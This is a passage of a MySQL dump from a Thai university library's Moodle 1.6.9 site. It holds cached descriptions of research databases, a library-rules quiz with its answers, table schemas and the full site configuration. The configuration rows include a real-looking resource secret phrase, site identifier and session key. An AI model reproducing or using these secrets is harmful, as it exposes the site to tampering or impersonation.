เป็นฐานข้อมูลทางด้านคอมพิวเตอร์และเทคโนโลยีสารสนเทศ จากสิ่งพิมพ์ต่อเนื่อง จดหมายข่าว และเอกสารในการประชุมวิชาการ ที่จัดทำโดย ACM (Association for Computing Machinery) ซึ่งเนื้อหาเอกสารประกอบด้วยข้อมูลที่สำคัญ เช่น รายการบรรณานุกรม สาระสังเขป artcile reviews และบทความฉบับเต็ม ให้ข้อมูลตั้งแต่ปี 1985 - ปัจจุบัน',1473144914),(25,'548a4e73c3f7a714313323bddc7cb428','<p>ACM Digital Library เป็นฐานข้อมูลทางด้านคอมพิวเตอร์และเทคโนโลยีสารสนเทศ จากสิ่งพิมพ์ต่อเนื่อง จดหมายข่าว และเอกสารในการประชุมวิชาการ ที่จัดทำโดย ACM (Association for Computing Machinery) ซึ่งเนื้อหาเอกสารประกอบด้วยข้อมูลที่สำคัญ เช่น รายการบรรณานุกรม สาระสังเขป artcile reviews และบทความฉบับเต็ม ให้ข้อมูลตั้งแต่ปี 1985 - ปัจจุบัน</p>',1473144424),(26,'7eb0ad6989e243905d9d93d2fd28ff10','<p>ข่าวและประกาศ</p>',1473144480),(27,'252d36573c38a94691448a4f02e24a6b','กลยุทธ์การเลือกวารสารนานาชาติเพื่อการตีพิมพ์',1473144914),(28,'0514306fefaef156cc0d3371c4f70d62','<p>กลยุทธ์การเลือกวารสารนานาชาติเพื่อการตีพิมพ์</p>',1473144586),(29,'1b4204582256055d3a4a6f7d06578dd0','แนะนำการสืบค้นฐานข้อมูลออนไลน์ของสำนักวิทยบริการและเทคโนโลยีสารสนเทศ มหาวิทยาลัยราชภัฏสงขลา',1473144798),(30,'64375b1ede10a9a0393007580c05d7b9','แนะนำการสืบค้นฐานข้อมูลออนไลน์',1473144693),(31,'ea366a138bf94a45685d1938efbdee80','เทคนิคการสืบค้นสารสนเทศ',1473144693),(32,'026c30fcea0c79dc8d84210646d374b2','Web of Science เป็นฐานข้อมูลบรรณานุกรมและสาระสังเขปพร้อมการอ้างอิงและอ้างถึง ที่ครอบคลุมสาขาวิชาหลักทั้งวิทยาศาสตร์ สังคมศาสตร์ และมนุษยศาสตร์ จากวารสารประมาณ 9,200 รายชื่อ ให้ข้อมูลตั้งแต่ปี 2001 - ปัจจุบัน',1473144693),(33,'5218a3152acca29b4618fda8fd5cfbcd','ABI INFORM Complete เป็นฐานข้อมูลที่รวบรวมข้อมูลทาง ด้านธุรกิจ การโฆษณา การตลาด เศรษฐศาสตร์ การจัดการทรัพยากรมนุษย์ การเงิน ภาษี คอมพิวเตอร์ มากกว่า 1,100 รายชื่อ รวมถึงสารสนเทศของบริษัทต่าง ๆ อีกมากกว่า 60,000 บริษัท และสามารถสืบค้นบทความฉบับเต็มได้จากวารสารทั่วโลกกว่า 800 รายชื่อ',1473144693),(34,'6c62c17ce183ec6c03d72d5636dc4ca4','SpringerLink เป็นฐานข้อมูลวารสารอิเล็กทรอนิกส์ วิทยาศาสตร์และวิทยาศาสตร์สุขภาพ ครอบคลุมวารสาร จำนวนเอกสารฉบับเต็ม 1,130 ชื่อ ในข้อมูลปี 1997 - ปัจจุบัน',1473144693),(35,'adc88f664e7b6312c83ef9a5852d6d7d','ProQuest Dissertaions & Theses เป็นฐานข้อมูลที่รวบรวมวิทยานิพนธ์ระดับปริญญาโท และปริญญาเอกของสถาบันการศึกษาที่ได้รับการรับรองจากประเทศสหรัฐอเมริกาและแคนาดา รวมถึงบางสถาบันการศึกษาจากทวีปยุโรป ออสเตรเลีย เอเชีย และแอฟริกา มากกว่า 1,000 แห่ง ประกอบไปด้วยข้อมูลมากกว่า 2.4 ล้านระเบียน',1473144693),(36,'eebca30788daaa1c965babbfc91cfb4e','ACS Journals (American Chemical Society Journal) เป็นฐานข้อมูลที่รวบรวมบทความ และงานวิจัย จากวารสารทางด้านเคมีและวิทยาศาสตร์ที่เกี่ยวข้องโดยรวบรวมจากวารสารทั้งที่พิมพ์เป็นรูปเล่ม วารสารอิเล็กทรอนิกส์ (Electronic Journals) ข้อมูลที่ได้จากการสืบค้นเป็นข้อมูลฉบับเม (Full Text) และรูปภาพ (Image) ย้อนหลังตั้งแต่ปี 1996',1473144693),(37,'41856321c1df6b52d1c3438f01044296','ACM Digital Library เป็นฐานข้อมูลทางด้านคอมพิวเตอร์และเทคโนโลยีสารสนเทศ จากสิ่งพิมพ์ต่อเนื่อง จดหมายข่าว และเอกสารในการประชุมวิชาการ ที่จัดทำโดย ACM (Association for Computing Machinery) ซึ่งเนื้อหาเอกสารประกอบด้วยข้อมูลที่สำคัญ เช่น รายการบรรณานุกรม สาระสังเขป artcile reviews และบทความฉบับเต็ม ให้ข้อมูลตั้งแต่ปี 1985 - ปัจจุบัน',1473144693),(38,'24057f0f27f48f8244eb10549388591e','กลยุทธ์การเลือกวารสารนานาชาติเพื่อการตีพิมพ์',1473144693),(39,'28fab0780138fdac58356883b5518a4d','',1473219959),(40,'9801c5903474d1400dea6c83703e7ae9','แนะนำการสืบค้นทรัพยากรสารสนเทศด้วยระบบ OPAC และแนะนำระเบียบในการยืม-คืนทรัพยากรสารสนเทศของสำนักวิทยบริการฯ',1473219959),(41,'640464c8d48398907281bfa1f5ba8b94','<p>ตั้งค่าประเภทให้เป็น</p>',1473146046),(42,'1ac586b9386d06f0997794f0e264637e','เวลาเปิดทำการของสำนักวิทยบริการฯ มหาวิทยาลัยราชภัฏสงขลา ในวันจันทร์ - ศุกร์ คือข้อใด',1473146113),(43,'080411b50b7b81a07018b51ccc1e7c76','a. เวลา 07.30 - 16.00 น.',1473146113),(44,'f11fa84b612224020bcc1ee50a2c5ef5','b. เวลา 07.45 - 16.30 น.',1473146113),(45,'9eb65b1ef840e4b4e2aecec3d1f28598','c. เวลา 08.00 - 17.00 น.',1473146113),(46,'1ff3d3d798b7cb2ccf29006305006638','d. เวลา 08.30 - 17.30 น.',1473146113),(47,'e5c3d35e9f06108f0ab6ec5b5c4d0e5f','นักศึกษาระดับปริญญาตรีและปริญญาโทสามารถยืมหนังสือได้คนละกี่เล่ม',1473146113),(48,'f2ee90ee97730f45acbdc9af3f2b943b','a. นักศึกษา ป.ตรี ยืมได้ 5 เล่ม/ นักศึกษา ป.โท ยืมได้ 10 เล่ม',1473146113),(49,'00a07e5659c73054868bfdf2023aa729','b. นักศึกษา ป.ตรี ยืมได้ 7 เล่ม/ นักศึกษา ป.โท ยืมได้ 10 เล่ม',1473146113),(50,'6af285bba2b45e5bb8f0f325250d81fe','c. นักศึกษา ป.ตรี ยืมได้ 10 เล่ม/ นักศึกษา ป.โท ยืมได้ 15 เล่ม',1473146114),(51,'6457fe45ad117e2626d7aa7a4fac5dcf','d. นักศึกษาทั้งป.ตรี และป.โท ยืมได้ 10 เล่ม',1473146114),(52,'807da1cee639d312efe615e1ae7e1647','นักศึกษาระดับปริญญาตรีและปริญญาโทสามารถยืมหนังสือได้เล่มละกี่วัน',1473146114),(53,'0c724968f96abe00583376d80811e2d4','a. 5 วัน',1473146114),(54,'378420daa6d87a867fc5450b16ef1502','b. 7 วัน',1473146114),(55,'39f99a0e4b3b768ff58500b76c10308b','c. 10 วัน',1473146114),(56,'8caf167e1503e3b2ca9c7dc1ce363489','d. 14 วัน',1473146114),(57,'ead60f78bc539ae723dbbb0a65df4f3c','หากนักศึกษาส่งหนังสือเกินกำหนด 1 วันจะต้องเสียค่าปรับเท่าไหร่',1473146114),(58,'a0081da83cc30e258632f9ba315fee9b','a. 3 บาท/เล่ม',1473146114),(59,'149e77fecf8c33240a70edf56b58f2fd','b. 5 บาท/เล่ม',1473146114),(60,'ceef5c2c6961a87e0bcc8a5be4d368ba','c. 7 บาท/เล่ม',1473146114),(61,'35e1bfdb23fc2654793f5b5079320903','d. 8 บาท/เล่ม',1473146114),(62,'d952fe5bee4718843707b6ea2293ae9e','หากหนังสือที่นักศึกษาต้องการมีผู้อื่นยืมไป ควรทำอย่างไร',1473146114),(63,'a7b9719bc15fbc5b9181e6105b495881','a. ขอชื่อ - สกุลและหมายเลขโทรศัพท์ของผู้ที่ยืมหนังสือไปที่งานบริการยืม - คืน',1473146114),(64,'02b7f71e660b0693b60c912982783928','b. ขอชื่อผู้ใช้และรหัสผ่านที่งานบริการยืม - คืนเพื่อจองหนังสือด้วยตนเองผ่านระบบโอแพค',1473146114),(65,'17ffb211781ccb607cb3b3a93f14e73b','c. จดชื่อหนังสือและบาร์โค้ดของหนังสือแล้วติดต่อที่งานบริการยืม - คืนเพื่อขอจองหนังสือเล่มนั้น',1473146114),(66,'0058c4292c7da33692782efe26748a15','d. ถูกทั้งข้อ 2 และ 3',1473146114),(67,'eb09a16e64d012e269fbe6e02649025b','ข้อใดเป็นมารยาทและระเบียบในการเข้าใช้สำนักวิทยบริการฯ',1473146114),(68,'3e679ccef5e06180647eb2402d633fbe','a. ไม่นำอาหารและเครื่องดื่มเข้ามารับประทาน',1473146114),(69,'eb23f73b5cf412856324e6b828365fa1','b. ส่งเสียงดังระหว่างเข้ามาใช้บริการ',1473146114),(70,'53e87e34eafcddadd00fa1c74d56378c','c. แสดงบัตรประจำตัวนักศึกษาของตนเองในการยืมหนังสือ',1473146114),(71,'ece82bf0cb4ce5b7684ff644cff02d1f','d. ถูกทั้งข้อ 1 และ 3',1473146114),(72,'4def52248e71a3301700ccc9cf49dc7a','เวลา 07.45 - 16.30 น.',1473146154),(73,'6cc71b53ce8cb967afe1f4c7a8a1223e','นักศึกษา ป.ตรี ยืมได้ 7 เล่ม/ นักศึกษา ป.โท ยืมได้ 10 เล่ม',1473146154),(74,'3567ccb03c15dfa99cc70c3bd305e1ea','14 วัน',1473146154),(75,'6088d14aba43e02d63ed924141f62cad','5 บาท/เล่ม',1473146154),(76,'ffed92febb9787f723c68da7d3cb1ee0','ถูกทั้งข้อ 2 และ 3',1473146154),(77,'f750fc43f8fab387c3b76794f1cb89dc','ไม่นำอาหารและเครื่องดื่มเข้ามารับประทาน',1473146154),(78,'efd0c5b9f5731450a14773ce9e069dd8','<p>แบบสอบถามนี้มีจุดประสงค์เพื่อช่วยในการประเมินทัศนคติต่อการคิด และการเรียน<br />\r\n<br />\r\nไม่มีคำตอบที่ </p>',1473219986),(79,'d2f8c05a43d0d925d20569e9fafc105b','แนะนำการสืบค้นทรัพยากรสารสนเทศด้วยระบบ OPAC และแนะนำระเบียบในการยืม-คืนทรัพยากรสารสนเทศของสำนักวิทยบริการฯ',1473219839);
/*!40000 ALTER TABLE `mdl_cache_text` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_chat`
--

DROP TABLE IF EXISTS `mdl_chat`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_chat` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `intro` text COLLATE utf8_unicode_ci NOT NULL,
  `keepdays` int(11) NOT NULL DEFAULT '0',
  `studentlogs` int(4) NOT NULL DEFAULT '0',
  `chattime` int(10) unsigned NOT NULL DEFAULT '0',
  `schedule` int(4) NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Each of these is a chat room';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_chat`
--

LOCK TABLES `mdl_chat` WRITE;
/*!40000 ALTER TABLE `mdl_chat` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_chat` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_chat_messages`
--

DROP TABLE IF EXISTS `mdl_chat_messages`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_chat_messages` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `chatid` int(10) NOT NULL DEFAULT '0',
  `userid` int(10) NOT NULL DEFAULT '0',
  `groupid` int(10) NOT NULL DEFAULT '0',
  `system` int(1) unsigned NOT NULL DEFAULT '0',
  `message` text COLLATE utf8_unicode_ci NOT NULL,
  `timestamp` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  KEY `timemodifiedchat` (`timestamp`,`chatid`),
  KEY `chatid` (`chatid`),
  KEY `userid` (`userid`),
  KEY `groupid` (`groupid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Stores all the actual chat messages';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_chat_messages`
--

LOCK TABLES `mdl_chat_messages` WRITE;
/*!40000 ALTER TABLE `mdl_chat_messages` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_chat_messages` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_chat_users`
--

DROP TABLE IF EXISTS `mdl_chat_users`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_chat_users` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `chatid` int(11) NOT NULL DEFAULT '0',
  `userid` int(11) NOT NULL DEFAULT '0',
  `groupid` int(11) NOT NULL DEFAULT '0',
  `version` varchar(16) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `ip` varchar(15) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `firstping` int(10) unsigned NOT NULL DEFAULT '0',
  `lastping` int(10) unsigned NOT NULL DEFAULT '0',
  `lastmessageping` int(10) unsigned NOT NULL DEFAULT '0',
  `sid` varchar(32) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `course` int(10) NOT NULL DEFAULT '0',
  `lang` varchar(10) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `userid` (`userid`),
  KEY `lastping` (`lastping`),
  KEY `chatid` (`chatid`),
  KEY `groupid` (`groupid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Keeps track of which users are in which chat rooms';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_chat_users`
--

LOCK TABLES `mdl_chat_users` WRITE;
/*!40000 ALTER TABLE `mdl_chat_users` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_chat_users` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_choice`
--

DROP TABLE IF EXISTS `mdl_choice`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_choice` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `course` int(10) unsigned NOT NULL DEFAULT '0',
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `text` text COLLATE utf8_unicode_ci NOT NULL,
  `format` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `publish` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `showresults` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `display` tinyint(4) unsigned NOT NULL DEFAULT '0',
  `allowupdate` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `showunanswered` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `limitanswers` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `timeopen` int(10) unsigned NOT NULL DEFAULT '0',
  `timeclose` int(10) unsigned NOT NULL DEFAULT '0',
  `timemodified` int(10) unsigned NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `course` (`course`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Available choices are stored here.';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_choice`
--

LOCK TABLES `mdl_choice` WRITE;
/*!40000 ALTER TABLE `mdl_choice` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_choice` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_choice_answers`
--

DROP TABLE IF EXISTS `mdl_choice_answers`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_choice_answers` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `choiceid` int(10) unsigned NOT NULL DEFAULT '0',
  `userid` int(10) unsigned NOT NULL DEFAULT '0',
  `optionid` int(10) NOT NULL DEFAULT '0',
  `timemodified` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `userid` (`userid`),
  KEY `choiceid` (`choiceid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_choice_answers`
--

LOCK TABLES `mdl_choice_answers` WRITE;
/*!40000 ALTER TABLE `mdl_choice_answers` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_choice_answers` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_choice_options`
--

DROP TABLE IF EXISTS `mdl_choice_options`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_choice_options` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `choiceid` int(10) unsigned NOT NULL DEFAULT '0',
  `text` text COLLATE utf8_unicode_ci,
  `maxanswers` int(10) unsigned DEFAULT '0',
  `timemodified` int(10) NOT NULL DEFAULT '0',
  PRIMARY KEY (`id`),
  UNIQUE KEY `id` (`id`),
  KEY `choiceid` (`choiceid`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_choice_options`
--

LOCK TABLES `mdl_choice_options` WRITE;
/*!40000 ALTER TABLE `mdl_choice_options` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_choice_options` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_config`
--

DROP TABLE IF EXISTS `mdl_config`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_config` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `name` varchar(255) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `value` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `name` (`name`)
) ENGINE=MyISAM AUTO_INCREMENT=224 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Moodle configuration variables';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_config`
--

LOCK TABLES `mdl_config` WRITE;
/*!40000 ALTER TABLE `mdl_config` DISABLE KEYS */;
INSERT INTO `mdl_config` VALUES (1,'version','2006050590'),(2,'release','1.6.9'),(3,'allowcoursethemes','0'),(4,'allowemailaddresses',''),(5,'allowobjectembed','0'),(6,'allowunenroll','1'),(7,'allowusermailcharset','0'),(8,'allowuserthemes','0'),(9,'allowuserblockhiding','1'),(10,'allusersaresitestudents','1'),(11,'alternateloginurl',''),(12,'aspellpath',''),(13,'auth','email'),(14,'auth_pop3mailbox','INBOX'),(15,'autologinguests','0'),(16,'bloglevel','4'),(17,'cachetext','60'),(18,'changepassword',''),(19,'country','0'),(20,'coursesperpage','20'),(21,'clamfailureonupload','donothing'),(22,'dbsessions','0'),(23,'defaultrequestedcategory','1'),(24,'deleteunconfirmed','168'),(25,'denyemailaddresses',''),(26,'digestmailtime','17'),(27,'displayloginfailures',''),(28,'docroot','http://docs.moodle.org'),(29,'doctonewwindow','0'),(30,'enablecourserequests','0'),(31,'enablerssfeeds','0'),(32,'enablestats','0'),(33,'extendedusernamechars','0'),(34,'editorbackgroundcolor','#ffffff'),(35,'editorfontfamily','Trebuchet MS,Verdana,Arial,Helvetica,sans-serif'),(36,'editorfontsize',''),(37,'editorkillword','1'),(38,'editorspelling','0'),(39,'editorfontlist','Trebuchet:Trebuchet MS,Verdana,Arial,Helvetica,sans-serif;Arial:arial,helvetica,sans-serif;Courier New:courier new,courier,monospace;Georgia:georgia,times new roman,times,serif;Tahoma:tahoma,arial,helvetica,sans-serif;Times New Roman:times new roman,times,serif;Verdana:verdana,arial,helvetica,sans-serif;Impact:impact;Wingdings:wingdings'),(40,'editorhidebuttons',''),(41,'filterall',''),(42,'filtermatchoneperpage','0'),(43,'filtermatchonepertext','0'),(44,'filteruploadedfiles','0'),(45,'forcelogin','0'),(46,'forceloginforprofiles','0'),(47,'forcetimezone','99'),(48,'fullnamedisplay','firstname lastname'),(49,'frontpage','1'),(50,'gdversion','2'),(51,'guestloginbutton','1'),(52,'htmleditor','1'),(53,'langcache','1'),(54,'langmenu','1'),(55,'langlist',''),(56,'locale',''),(57,'loginhttps',''),(58,'profilesforenrolledusersonly','1'),(59,'loglifetime','0'),(60,'longtimenosee','0'),(61,'maxbytes','31457280'),(62,'maxeditingtime','1800'),(63,'messaging','1'),(64,'mymoodleredirect','0'),(65,'noreplyaddress','noreply@arit.skru.ac.th'),(66,'notifyloginfailures',''),(67,'notifyloginthreshold','10'),(68,'opentogoogle','0'),(69,'pathtoclam',''),(70,'pathtodu',''),(71,'perfdebug','5'),(72,'protectusernames','1'),(73,'proxyhost',''),(74,'proxyport',''),(75,'quarantinedir',''),(76,'requestedteachername',''),(77,'requestedteachersname',''),(78,'requestedstudentname',''),(79,'requestedstudentsname',''),(80,'restrictmodulesfor','none'),(81,'restrictbydefault','0'),(82,'runclamonupload','0'),(83,'secureforms','0'),(84,'sessioncookiepath','/'),(85,'sessiontimeout','7200'),(86,'showsiteparticipantslist','0'),(87,'showblocksonmodpages','0'),(88,'sitemailcharset','0'),(89,'sitepolicy',''),(90,'slasharguments','1'),(91,'smtphosts',''),(92,'smtppass',''),(93,'smtpuser',''),(94,'statsfirstrun','none'),(95,'statsmaxruntime','0'),(96,'statsuserthreshold','0'),(97,'style','default'),(98,'tabselectedtofront','0'),(99,'teacherassignteachers','1'),(100,'template','default'),(101,'textfilters','mod/glossary/dynalink.php'),(102,'themelist',''),(103,'timezone','99'),(104,'tinymceplugins','advimage,fullscreen'),(105,'tinymcetheme','advanced'),(106,'tinymcecontentcss','http://arit.skru.ac.th/arit/moodle/lib/editor/tinymce/moodlecontent.css'),(107,'tinymcepopupcss',''),(108,'tinymceeditorcss',''),(109,'unzip',''),(110,'zip',''),(111,'unicodedb','1'),(112,'assignment_maxbytes','1024000'),(113,'assignment_itemstocount','1'),(114,'assignment_online_version','2005042900'),(115,'chat_refresh_room','5'),(116,'chat_refresh_userlist','10'),(117,'chat_old_ping','35'),(118,'chat_method','header_js'),(119,'chat_normal_updatemode','jsupdate'),(120,'chat_serverhost','arit.skru.ac.th'),(121,'chat_serverip','127.0.0.1'),(122,'chat_serverport','9111'),(123,'chat_servermax','100'),(124,'forum_displaymode','3'),(125,'forum_shortpost','300'),(126,'forum_longpost','600'),(127,'forum_manydiscussions','100'),(128,'forum_maxbytes','512000'),(129,'forum_trackreadposts','1'),(130,'forum_oldpostdays','14'),(131,'forum_usermarksread',''),(132,'forum_cleanreadtime','2'),(133,'forum_replytouser','1'),(134,'glossary_studentspost','1'),(135,'glossary_dupentries','0'),(136,'glossary_allowcomments','0'),(137,'glossary_linkbydefault','1'),(138,'glossary_defaultapproval','1'),(139,'glossary_entbypage','10'),(140,'hotpot_showtimes','0'),(141,'hotpot_excelencodings',''),(142,'hotpot_initialdisable','1'),(143,'journal_showrecentactivity','1'),(144,'journal_initialdisable','1'),(145,'quiz_review','16777215'),(146,'quiz_attemptonlast','0'),(147,'quiz_attempts','0'),(148,'quiz_grademethod',''),(149,'quiz_decimalpoints','2'),(150,'quiz_maximumgrade','10'),(151,'quiz_password',''),(152,'quiz_popup','0'),(153,'quiz_questionsperpage','0'),(154,'quiz_shuffleanswers','1'),(155,'quiz_shufflequestions','0'),(156,'quiz_subnet',''),(157,'quiz_timelimit','0'),(158,'quiz_optionflags','1'),(159,'quiz_penaltyscheme','1'),(160,'quiz_delay1','0'),(161,'quiz_delay2','0'),(162,'quiz_fix_review','0'),(163,'quiz_fix_attemptonlast','0'),(164,'quiz_fix_attempts','0'),(165,'quiz_fix_grademethod','0'),(166,'quiz_fix_decimalpoints','0'),(167,'quiz_fix_password','0'),(168,'quiz_fix_popup','0'),(169,'quiz_fix_questionsperpage','0'),(170,'quiz_fix_shuffleanswers','0'),(171,'quiz_fix_shufflequestions','0'),(172,'quiz_fix_subnet','0'),(173,'quiz_fix_timelimit','0'),(174,'quiz_fix_adaptive','0'),(175,'quiz_fix_penaltyscheme','0'),(176,'quiz_fix_delay1','0'),(177,'quiz_fix_delay2','0'),(178,'resource_framesize','130'),(179,'resource_websearch','http://google.com/'),(180,'resource_defaulturl','http://'),(181,'resource_filterexternalpages',''),(182,'resource_secretphrase','zSfND8Udv7VYWqPaTNmT'),(183,'resource_popup',''),(184,'resource_windowsettings','0'),(185,'resource_parametersettings','0'),(186,'resource_allowlocalfiles','0'),(187,'resource_hide_repository','1'),(188,'resource_popupresizable','checked'),(189,'resource_popupscrollbars','checked'),(190,'resource_popupdirectories','checked'),(191,'resource_popuplocation','checked'),(192,'resource_popupmenubar','checked'),(193,'resource_popuptoolbar','checked'),(194,'resource_popupstatus','checked'),(195,'resource_popupheight','450'),(196,'resource_popupwidth','620'),(197,'qtype_calculated_version','2006032200'),(198,'qtype_essay_version','2006032200'),(199,'qtype_match_version','2006032200'),(200,'qtype_multianswer_version','2006032200'),(201,'qtype_multichoice_version','2006032200'),(202,'qtype_numerical_version','2006032200'),(203,'qtype_randomsamatch_version','2006042800'),(204,'qtype_rqp_version','2006032201'),(205,'qtype_shortanswer_version','2006032200'),(206,'qtype_truefalse_version','2006032200'),(207,'backup_version','2006082300'),(208,'backup_release','1.6.2'),(209,'blocks_version','2005090201'),(210,'enrol_authorize_version','2006021531'),(211,'enrol_paypal_version','2004081800'),(212,'frontpageloggedin','1'),(213,'siteidentifier','SCjoiZMiUCBFsWbH0Z28714maVceVfpbarit.skru.ac.th'),(214,'lang','th_utf8'),(215,'framename','_top'),(216,'sessioncookie',''),(217,'hiddenuserfields',''),(218,'defaultallowedmodules','0'),(219,'debug','5'),(220,'statsruntimestarthour','0'),(221,'statsruntimestartminute','0'),(222,'installing','0'),(223,'sesskey','Of67HhitYB');
/*!40000 ALTER TABLE `mdl_config` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_config_plugins`
--

DROP TABLE IF EXISTS `mdl_config_plugins`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_config_plugins` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `plugin` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'core',
  `name` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `value` text COLLATE utf8_unicode_ci NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `plugin_name` (`plugin`,`name`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci COMMENT='Moodle modules and plugins configuration variables';
/*!40101 SET character_set_client = @saved_cs_client */;

--
-- Dumping data for table `mdl_config_plugins`
--

LOCK TABLES `mdl_config_plugins` WRITE;
/*!40000 ALTER TABLE `mdl_config_plugins` DISABLE KEYS */;
/*!40000 ALTER TABLE `mdl_config_plugins` ENABLE KEYS */;
UNLOCK TABLES;

--
-- Table structure for table `mdl_course`
--

DROP TABLE IF EXISTS `mdl_course`;
/*!40101 SET @saved_cs_client     = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `mdl_course` (
  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,
  `category` int(10) unsigned NOT NULL DEFAULT '0',
  `sortorder` int(10) unsigned NOT NULL DEFAULT '0',
  `password` varchar(50) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `fullname` varchar(254) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `shortname` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `idnumber` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT '',
  `summary` text COLLATE utf8_unicode_ci NOT NULL,
  `format` varchar(10) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'topics',
  `showgrades` smallint(2) unsigned NOT NULL DEFAULT '1',
  `modinfo` longtext COLLATE utf8_unicode_ci NOT NULL,
  `newsitems` smallint(5) unsigned NOT NULL DEFAULT '1',
  `teacher` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'Teacher',
  `teachers` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'Teachers',
  `student` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'Student',
  `students` varchar(100) COLLATE utf8_unicode_ci NOT NULL DEFAULT 'Students',
  `guest` tinyint(2) unsigned NOT NULL DEFAULT '0',
  `startdate` int(10) unsigned NOT NULL DEFAULT '0',
  `enrolperiod` int(10) unsigned NOT NULL DEFAULT '0',
  `numsections` smallint(5) unsigned NOT NULL DEFAULT '1',
  `marker` int(10) unsigned NOT NULL DEFAULT '0',
  `maxbytes` int(10) unsigned NOT NULL DEFAULT '0',
